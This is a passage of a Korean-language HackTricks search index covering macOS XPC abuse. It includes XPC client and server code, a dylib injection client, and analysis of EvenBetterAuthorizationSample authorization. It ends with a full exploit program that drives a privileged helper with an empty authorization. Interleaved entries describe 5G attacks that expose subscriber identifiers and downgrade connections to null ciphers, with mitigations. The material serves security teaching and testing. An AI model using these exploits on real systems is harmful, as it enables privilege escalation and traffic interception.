: NSObject \\n@end @implementation MyXPCObject\\n- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {\\nNSLog(@\\"Received message: %@\\", some_string);\\nNSString *response = @\\"Received\\";\\nreply(response);\\n}\\n@end @interface MyDelegate : NSObject \\n@end @implementation MyDelegate - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {\\nnewConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)]; MyXPCObject *my_object = [MyXPCObject new]; newConnection.exportedObject = my_object; [newConnection resume];\\nreturn YES;\\n}\\n@end int main(void) { NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@\\"xyz.hacktricks.svcoc\\"]; id delegate = [MyDelegate new];\\nlistener.delegate = delegate;\\n[listener resume]; sleep(10); // Fake something is done and then it ends\\n} objectivec // gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client\\n#include @protocol MyXPCProtocol\\n- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;\\n@end int main(void) {\\nNSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@\\"xyz.hacktricks.svcoc\\" options:NSXPCConnectionPrivileged];\\nconnection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];\\n[connection resume]; [[connection remoteObjectProxy] sayHello:@\\"Hello, Server!\\" withReply:^(NSString *response) {\\nNSLog(@\\"Received response: %@\\", response);\\n}]; [[NSRunLoop currentRunLoop] run]; return 0;\\n} xml \\n \\n\\nLabel\\nxyz.hacktricks.svcoc\\nMachServices\\n\\nxyz.hacktricks.svcoc\\n\\n\\nProgram\\n/tmp/oc_xpc_server\\nProgramArguments\\n\\n/tmp/oc_xpc_server\\n\\n\\n bash # Compile the server & client\\ngcc -framework Foundation oc_xpc_server.m -o oc_xpc_server\\ngcc -framework Foundation oc_xpc_client.m -o oc_xpc_client # Save server on it\'s location\\ncp oc_xpc_server /tmp # Load daemon\\nsudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons\\nsudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist # Call client\\n./oc_xpc_client # Clean\\nsudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist\\nsudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » XPC 통신 Objective-C 코드 예제","id":"2436","title":"XPC 통신 Objective-C 코드 예제"},"2437":{"body":"objectivec // gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib\\n// gcc injection example:\\n// DYLD_INSERT_LIBRARIES=oc_xpc_client.dylib /path/to/vuln/bin #import @protocol MyXPCProtocol\\n- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;\\n@end __attribute__((constructor))\\nstatic void customConstructor(int argc, const char **argv)\\n{\\nNSString* _serviceName = @\\"xyz.hacktricks.svcoc\\"; NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096]; [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)]]; [_agentConnection resume]; [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {\\n(void)error;\\nNSLog(@\\"Connection Failure\\");\\n}] sayHello:@\\"Hello, Server!\\" withReply:^(NSString *response) {\\nNSLog(@\\"Received response: %@\\", response);\\n} ];\\nNSLog(@\\"Done!\\"); return;\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » Dylb 코드 내의 클라이언트","id":"2437","title":"Dylb 코드 내의 클라이언트"},"2438":{"body":"RemoteXPC.framework (from libxpc)에서 제공하는 이 기능은 서로 다른 호스트 간에 XPC를 통해 통신할 수 있게 해줍니다. 원격 XPC를 지원하는 서비스는 /System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist와 같이 plist에 UsesRemoteXPC 키를 가집니다. 그러나 서비스가 launchd에 등록되더라도, 기능을 제공하는 것은 com.apple.remoted.plugin 및 com.apple.remoteservicediscovery.events.plugin 플러그인을 가진 UserEventAgent입니다. 또한, RemoteServiceDiscovery.framework는 com.apple.remoted.plugin에서 정보를 가져올 수 있게 해주며, get_device, get_unique_device, connect와 같은 함수를 노출합니다... 연결이 사용되고 서비스의 소켓 fd가 수집되면, remote_xpc_connection_* 클래스를 사용할 수 있습니다. CLI 도구 /usr/libexec/remotectl을 사용하여 다음과 같은 매개변수로 원격 서비스에 대한 정보를 얻을 수 있습니다: bash /usr/libexec/remotectl list # Get bridge devices\\n/usr/libexec/remotectl show ...# Get device properties and services\\n/usr/libexec/remotectl dumpstate # Like dump withuot indicateing a servie\\n/usr/libexec/remotectl [netcat|relay] ... # Expose a service in a port\\n... BridgeOS와 호스트 간의 통신은 전용 IPv6 인터페이스를 통해 이루어집니다. MultiverseSupport.framework는 통신에 사용될 fd를 가진 소켓을 설정할 수 있게 해줍니다. netstat, nettop 또는 오픈 소스 옵션인 netbottom을 사용하여 이러한 통신을 찾는 것이 가능합니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » Remote XPC","id":"2438","title":"Remote XPC"},"2439":{"body":"Reading time: 13 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Authorization » macOS XPC Authorization","id":"2439","title":"macOS XPC Authorization"},"244":{"body":"예상 동작: UE/USIM은 SUCI(홈 네트워크 공개키로 암호화된 SUPI)만 전송해야 한다. Registration Request에서 평문 SUPI/IMSI가 발견되면 지속적인 가입자 추적을 가능하게 하는 개인정보 보호 결함을 의미한다. 테스트 방법: InitialUEMessage의 첫 NAS 메시지를 캡처하고 Mobile Identity IE를 검사한다. Wireshark 빠른 점검: SUCI로 디코드되어야 하며, IMSI로 디코드되어서는 안 된다. 필터 예: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci가 있어야 한다; 없고 대신 imsi가 존재하면 노출(leak)이다. 수집할 항목: 노출된 경우 MCC/MNC/MSIN; UE별로 기록하고 시간/위치 별로 추적한다. 완화책: SUCI 전용 UE/USIM 강제; 초기 NAS에서 IMSI/SUPI가 감지되면 경보.","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI","id":"244","title":"9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI"},"2440":{"body":"Apple은 연결된 프로세스가 노출된 XPC 메서드를 호출할 수 있는 권한이 있는지 인증하는 또 다른 방법을 제안합니다. 응용 프로그램이 특권 사용자로서 작업을 실행해야 할 때 , 일반적으로 특권 사용자로 앱을 실행하는 대신, 해당 작업을 수행하기 위해 앱에서 호출할 수 있는 XPC 서비스로 HelperTool을 루트로 설치합니다. 그러나 서비스를 호출하는 앱은 충분한 권한을 가져야 합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Authorization » XPC Authorization","id":"2440","title":"XPC Authorization"},"2441":{"body":"예시는 EvenBetterAuthorizationSample 에서 찾을 수 있습니다. App/AppDelegate.m에서 HelperTool 에 연결 하려고 시도합니다. 그리고 HelperTool/HelperTool.m에서 함수 **shouldAcceptNewConnection**은 이전에 언급된 요구 사항을 확인하지 않습니다 . 항상 YES를 반환합니다: objectivec - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection\\n// Called by our XPC listener when a new connection comes in. We configure the connection\\n// with our protocol and ourselves as the main object.\\n{\\nassert(listener == self.listener);\\n#pragma unused(listener)\\nassert(newConnection != nil); newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];\\nnewConnection.exportedObject = self;\\n[newConnection resume]; return YES;\\n} 더 많은 정보는 이 검사를 올바르게 구성하는 방법에 대해 다음을 참조하십시오: macOS XPC Connecting Process Check","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Authorization » ShouldAcceptNewConnection 항상 YES","id":"2441","title":"ShouldAcceptNewConnection 항상 YES"},"2442":{"body":"그러나 HelperTool에서 메서드가 호출될 때 일부 권한 부여가 발생합니다 . App/AppDelegate.m의 applicationDidFinishLaunching 함수는 앱이 시작된 후 빈 권한 참조를 생성합니다. 이는 항상 작동해야 합니다. 그런 다음, setupAuthorizationRights를 호출하여 해당 권한 참조에 일부 권한을 추가하려고 시도합니다 : objectivec - (void)applicationDidFinishLaunching:(NSNotification *)note\\n{\\n[...]\\nerr = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);\\nif (err == errAuthorizationSuccess) {\\nerr = AuthorizationMakeExternalForm(self->_authRef, &extForm);\\n}\\nif (err == errAuthorizationSuccess) {\\nself.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];\\n}\\nassert(err == errAuthorizationSuccess); // If we successfully connected to Authorization Services, add definitions for our default\\n// rights (unless they\'re already in the database). if (self->_authRef) {\\n[Common setupAuthorizationRights:self->_authRef];\\n} [self.window makeKeyAndOrderFront:self];\\n} 함수 setupAuthorizationRights는 Common/Common.m에서 애플리케이션의 권한을 인증 데이터베이스 /var/db/auth.db에 저장합니다. 데이터베이스에 아직 없는 권한만 추가한다는 점에 유의하세요: objectivec + (void)setupAuthorizationRights:(AuthorizationRef)authRef\\n// See comment in header.\\n{\\nassert(authRef != NULL);\\n[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {\\nOSStatus blockErr; // First get the right. If we get back errAuthorizationDenied that means there\'s\\n// no current definition, so we add our default one. blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);\\nif (blockErr == errAuthorizationDenied) {\\nblockErr = AuthorizationRightSet(\\nauthRef, // authRef\\n[authRightName UTF8String], // rightName\\n(__bridge CFTypeRef) authRightDefault, // rightDefinition\\n(__bridge CFStringRef) authRightDesc, // descriptionKey\\nNULL, // bundle (NULL implies main bundle)\\nCFSTR(\\"Common\\") // localeTableName\\n);\\nassert(blockErr == errAuthorizationSuccess);\\n} else {\\n// A right already exists (err == noErr) or any other error occurs, we\\n// assume that it has been set up in advance by the system administrator or\\n// this is the second time we\'ve run. Either way, there\'s nothing more for\\n// us to do.\\n}\\n}];\\n} 함수 enumerateRightsUsingBlock는 commandInfo에 정의된 애플리케이션 권한을 가져오는 데 사용됩니다: objectivec static NSString * kCommandKeyAuthRightName = @\\"authRightName\\";\\nstatic NSString * kCommandKeyAuthRightDefault = @\\"authRightDefault\\";\\nstatic NSString * kCommandKeyAuthRightDesc = @\\"authRightDescription\\"; + (NSDictionary *)commandInfo\\n{\\nstatic dispatch_once_t sOnceToken;\\nstatic NSDictionary * sCommandInfo; dispatch_once(&sOnceToken, ^{\\nsCommandInfo = @{\\nNSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{\\nkCommandKeyAuthRightName : @\\"com.example.apple-samplecode.EBAS.readLicenseKey\\",\\nkCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,\\nkCommandKeyAuthRightDesc : NSLocalizedString(\\n@\\"EBAS is trying to read its license key.\\",\\n@\\"prompt shown when user is required to authorize to read the license key\\"\\n)\\n},\\nNSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{\\nkCommandKeyAuthRightName : @\\"com.example.apple-samplecode.EBAS.writeLicenseKey\\",\\nkCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,\\nkCommandKeyAuthRightDesc : NSLocalizedString(\\n@\\"EBAS is trying to write its license key.\\",\\n@\\"prompt shown when user is required to authorize to write the license key\\"\\n)\\n},\\nNSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{\\nkCommandKeyAuthRightName : @\\"com.example.apple-samplecode.EBAS.startWebService\\",\\nkCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,\\nkCommandKeyAuthRightDesc : NSLocalizedString(\\n@\\"EBAS is trying to start its web service.\\",\\n@\\"prompt shown when user is required to authorize to start the web service\\"\\n)\\n}\\n};\\n});\\nreturn sCommandInfo;\\n} + (NSString *)authorizationRightForCommand:(SEL)command\\n// See comment in header.\\n{\\nreturn [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];\\n} + (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block\\n// Calls the supplied block with information about each known authorization right..\\n{\\n[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {\\n#pragma unused(key)\\n#pragma unused(stop)\\nNSDictionary * commandDict;\\nNSString * authRightName;\\nid authRightDefault;\\nNSString * authRightDesc; // If any of the following asserts fire it\'s likely that you\'ve got a bug\\n// in sCommandInfo. commandDict = (NSDictionary *) obj;\\nassert([commandDict isKindOfClass:[NSDictionary class]]); authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];\\nassert([authRightName isKindOfClass:[NSString class]]); authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];\\nassert(authRightDefault != nil); authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];\\nassert([authRightDesc isKindOfClass:[NSString class]]); block(authRightName, authRightDefault, authRightDesc);\\n}];\\n} 이 프로세스의 끝에서 commandInfo 내에 선언된 권한은 /var/db/auth.db에 저장됩니다. 여기에서 각 방법 에 대해 인증이 필요한 권한 이름 과 **kCommandKeyAuthRightDefault**를 찾을 수 있습니다. 후자는 누가 이 권한을 얻을 수 있는지를 나타냅니다 . 권한에 접근할 수 있는 사람을 나타내기 위한 다양한 범위가 있습니다. 그 중 일부는 AuthorizationDB.h 에서 정의되어 있으며 (여기에서 모두 찾을 수 있습니다 ), 요약하면: 이름값설명kAuthorizationRuleClassAllowallow모두kAuthorizationRuleClassDenydeny아무도kAuthorizationRuleIsAdminis-admin현재 사용자는 관리자여야 합니다 (관리자 그룹 내)kAuthorizationRuleAuthenticateAsSessionUserauthenticate-session-owner사용자에게 인증을 요청합니다.kAuthorizationRuleAuthenticateAsAdminauthenticate-admin사용자에게 인증을 요청합니다. 그는 관리자여야 합니다 (관리자 그룹 내)kAuthorizationRightRulerule규칙을 지정합니다kAuthorizationCommentcomment권한에 대한 추가 주석을 지정합니다","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Authorization » 애플리케이션 권한","id":"2442","title":"애플리케이션 권한"},"2443":{"body":"HelperTool/HelperTool.m에서 readLicenseKeyAuthorization 함수는 호출자가 해당 방법을 실행할 수 있는지 확인하기 위해 checkAuthorization 함수를 호출합니다. 이 함수는 호출 프로세스에서 전송된 authData 가 올바른 형식 인지 확인한 다음, 특정 방법을 호출하기 위해 필요한 것이 무엇인지 확인합니다. 모든 것이 잘 진행되면 반환된 error는 nil이 됩니다 : objectivec - (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command\\n{\\n[...] // First check that authData looks reasonable. error = nil;\\nif ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {\\nerror = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];\\n} // Create an authorization ref from that the external form data contained within. if (error == nil) {\\nerr = AuthorizationCreateFromExternalForm([authData bytes], &authRef); // Authorize the right associated with the command. if (err == errAuthorizationSuccess) {\\nAuthorizationItem oneRight = { NULL, 0, NULL, 0 };\\nAuthorizationRights rights = { 1, &oneRight }; oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];\\nassert(oneRight.name != NULL); err = AuthorizationCopyRights(\\nauthRef,\\n&rights,\\nNULL,\\nkAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,\\nNULL\\n);\\n}\\nif (err != errAuthorizationSuccess) {\\nerror = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];\\n}\\n} if (authRef != NULL) {\\njunk = AuthorizationFree(authRef, 0);\\nassert(junk == errAuthorizationSuccess);\\n} return error;\\n} 다음과 같이 해당 메서드를 호출할 권한을 확인하기 위해 함수 authorizationRightForCommand는 이전에 주석 처리된 객체 **commandInfo**를 확인합니다. 그런 다음, **AuthorizationCopyRights**를 호출하여 함수를 호출할 권한이 있는지 확인합니다(플래그가 사용자와의 상호작용을 허용한다는 점에 유의하십시오). 이 경우, 함수 readLicenseKeyAuthorization을 호출하기 위해 kCommandKeyAuthRightDefault는 @kAuthorizationRuleClassAllow로 정의됩니다. 따라서 누구나 호출할 수 있습니다 .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Authorization » 권한 검증","id":"2443","title":"권한 검증"},"2444":{"body":"이 정보는 /var/db/auth.db에 저장된다고 언급되었습니다. 저장된 모든 규칙을 나열하려면: sql sudo sqlite3 /var/db/auth.db\\nSELECT name FROM rules;\\nSELECT name FROM rules WHERE name LIKE \'%safari%\'; 그럼, 다음과 같이 권한에 접근할 수 있는 사람을 확인할 수 있습니다: bash security authorizationdb read com.apple.safaridriver.allow","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Authorization » DB 정보","id":"2444","title":"DB 정보"},"2445":{"body":"You can find all the permissions configurations in here , but the combinations that won\'t require user interaction would be: \'authenticate-user\': \'false\' 이것은 가장 직접적인 키입니다. false로 설정하면 사용자가 이 권한을 얻기 위해 인증을 제공할 필요가 없음을 지정합니다. 이는 아래의 2개 중 하나와 조합되거나 사용자가 속해야 하는 그룹을 나타내는 데 사용됩니다. \'allow-root\': \'true\' 사용자가 루트 사용자로 작동하고(승격된 권한을 가진) 이 키가 true로 설정되면, 루트 사용자는 추가 인증 없이 이 권한을 얻을 수 있습니다. 그러나 일반적으로 루트 사용자 상태에 도달하려면 이미 인증이 필요하므로, 대부분의 사용자에게는 \\"인증 없음\\" 시나리오는 아닙니다. \'session-owner\': \'true\' true로 설정되면 세션의 소유자(현재 로그인한 사용자)가 자동으로 이 권한을 얻습니다. 사용자가 이미 로그인한 경우 추가 인증을 우회할 수 있습니다. \'shared\': \'true\' 이 키는 인증 없이 권한을 부여하지 않습니다. 대신, true로 설정되면 권한이 인증된 후 여러 프로세스 간에 공유될 수 있으며, 각 프로세스가 다시 인증할 필요가 없습니다. 그러나 권한의 초기 부여는 여전히 인증이 필요하며, \'authenticate-user\': \'false\'와 같은 다른 키와 결합되지 않는 한 그렇습니다. You can use this script to get the interesting rights: bash Rights with \'authenticate-user\': \'false\':\\nis-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root) Rights with \'allow-root\': \'true\':\\ncom-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard Rights with \'session-owner\': \'true\':\\nauthenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Authorization » Permissive rights","id":"2445","title":"Permissive rights"},"2446":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Authorization » 권한 역설계","id":"2446","title":"권한 역설계"},"2447":{"body":"[HelperTool checkAuthorization:command:] 함수를 찾으면, 아마도 이 프로세스가 이전에 언급된 권한 부여 스키마를 사용하고 있는 것입니다: 이 경우, 이 함수가 AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree와 같은 함수를 호출하고 있다면, EvenBetterAuthorizationSample 을 사용하고 있는 것입니다. **/var/db/auth.db**를 확인하여 사용자 상호작용 없이 일부 권한 있는 작업을 호출할 수 있는지 확인하십시오.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Authorization » EvenBetterAuthorization 사용 여부 확인","id":"2447","title":"EvenBetterAuthorization 사용 여부 확인"},"2448":{"body":"그런 다음, XPC 서비스와 통신을 설정할 수 있도록 프로토콜 스키마를 찾아야 합니다. shouldAcceptNewConnection 함수는 내보내는 프로토콜을 나타냅니다: 이 경우, EvenBetterAuthorizationSample과 동일하며, 이 줄을 확인하십시오 . 사용된 프로토콜의 이름을 알면, 헤더 정의를 덤프할 수 있습니다 : bash class-dump /Library/PrivilegedHelperTools/com.example.HelperTool [...]\\n@protocol HelperToolProtocol\\n- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;\\n- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;\\n- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;\\n- (void)getVersionWithReply:(void (^)(NSString *))arg1;\\n- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;\\n@end\\n[...] 마지막으로, 통신을 설정하기 위해 노출된 Mach 서비스의 이름 을 알아야 합니다. 이를 찾는 방법은 여러 가지가 있습니다: **[HelperTool init]**에서 사용 중인 Mach 서비스를 확인할 수 있습니다: launchd plist에서: xml cat /Library/LaunchDaemons/com.example.HelperTool.plist [...] MachServices\\n\\ncom.example.HelperTool\\n\\n\\n[...]","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Authorization » 프로토콜 통신","id":"2448","title":"프로토콜 통신"},"2449":{"body":"이 예제에서는 다음이 생성됩니다: 함수가 포함된 프로토콜의 정의 접근 요청을 위해 사용할 빈 인증 XPC 서비스에 대한 연결 연결이 성공적이면 함수 호출 objectivec // gcc -framework Foundation -framework Security expl.m -o expl #import \\n#import // Define a unique service name for the XPC helper\\nstatic NSString* XPCServiceName = @\\"com.example.XPCHelper\\"; // Define the protocol for the helper tool\\n@protocol XPCHelperProtocol\\n- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;\\n- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;\\n- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;\\n- (void)fetchVersionWithReply:(void (^)(NSString *))callback;\\n- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;\\n@end int main(void) {\\nNSData *authData;\\nOSStatus status;\\nAuthorizationExternalForm authForm;\\nAuthorizationRef authReference = {0};\\nNSString *proxyAddress = @\\"127.0.0.1\\";\\nNSString *proxyPort = @\\"4444\\";\\nBoolean isProxyEnabled = true; // Create an empty authorization reference\\nstatus = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);\\nconst char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);\\nNSLog(@\\"OSStatus: %s\\", errorMsg); // Convert the authorization reference to an external form\\nif (status == errAuthorizationSuccess) {\\nstatus = AuthorizationMakeExternalForm(authReference, &authForm);\\nerrorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);\\nNSLog(@\\"OSStatus: %s\\", errorMsg);\\n} // Convert the external form to NSData for transmission\\nif (status == errAuthorizationSuccess) {\\nauthData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];\\nerrorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);\\nNSLog(@\\"OSStatus: %s\\", errorMsg);\\n} // Ensure the authorization was successful\\nassert(status == errAuthorizationSuccess); // Establish an XPC connection\\nNSString *serviceName = XPCServiceName;\\nNSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];\\nNSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];\\n[xpcConnection setRemoteObjectInterface:xpcInterface];\\n[xpcConnection resume]; // Handle errors for the XPC connection\\nid remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {\\nNSLog(@\\"[-] Connection error\\");\\nNSLog(@\\"[-] Error: %@\\", error);\\n}]; // Log the remote proxy and connection objects\\nNSLog(@\\"Remote Proxy: %@\\", remoteProxy);\\nNSLog(@\\"XPC Connection: %@\\", xpcConnection); // Use the legacy method to configure the proxy\\n[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {\\nNSLog(@\\"Response: %@\\", error);\\n}]; // Allow some time for the operation to complete\\n[NSThread sleepForTimeInterval:10.0f]; NSLog(@\\"Finished!\\");\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Authorization » Exploit Example","id":"2449","title":"Exploit Example"},"245":{"body":"배경: UE는 Registration Request의 UE Security Capability IE에서 지원하는 EEA(암호화) 및 EIA(무결성)를 광고한다. 일반 매핑: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0는 null 알고리즘이다. 문제: Registration Request는 무결성 보호되지 않기 때문에, 온-패스 공격자가 capability 비트를 지워 이후 Security Mode Command에서 EEA0/EIA0 선택을 강제할 수 있다. 일부 스택은 응급 서비스 외부에서 null 알고리즘을 잘못 허용한다. 공격 단계: InitialUEMessage를 가로채 NAS UE Security Capability를 EEA0/EIA0만 광고하도록 수정한다. Sni5Gect로 NAS 메시지를 훅(hook)하고 전달 전에 capability 비트를 패치한다. AMF가 null 암호/무결성을 수락하여 Security Mode를 EEA0/EIA0로 완료하는지 관찰한다. 검증/가시성: Security Mode Command/Complete 이후 선택된 알고리즘을 Wireshark에서 확인한다. 예시 수동 스니퍼 출력: Encyrption in use [EEA0]\\nIntegrity in use [EIA0, EIA1, EIA2]\\nSUPI (MCC+MNC+MSIN) 9997000000001 Mitigations (must): AMF/policy를 구성하여 엄격히 요구되는 경우(예: emergency calls)를 제외하고 EEA0/EIA0를 거부하도록 설정한다. 최소한 EEA2/EIA2 적용을 권장한다; null 알고리즘을 협상하는 모든 NAS 보안 컨텍스트에 대해 로깅 및 경보를 설정한다.","breadcrumbs":"Pentesting Network » Telecom Network Exploitation » 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)","id":"245","title":"9.2 Capability bidding-down to null algorithms (EEA0/EIA0)"},"2450":{"body":"https://blog.securelayer7.net/applied-endpointsecurity-framework-previlege-escalation/?utm_source=pocket_shared","breadcrumbs":"macOS Security & Privilege Escalation » macOS Process Abuse » macOS IPC - Inter Process Communication » macOS XPC » macOS XPC Authorization » 다른 XPC 권한 헬퍼 남용","id":"2450","title":"다른 XPC 권한 헬퍼 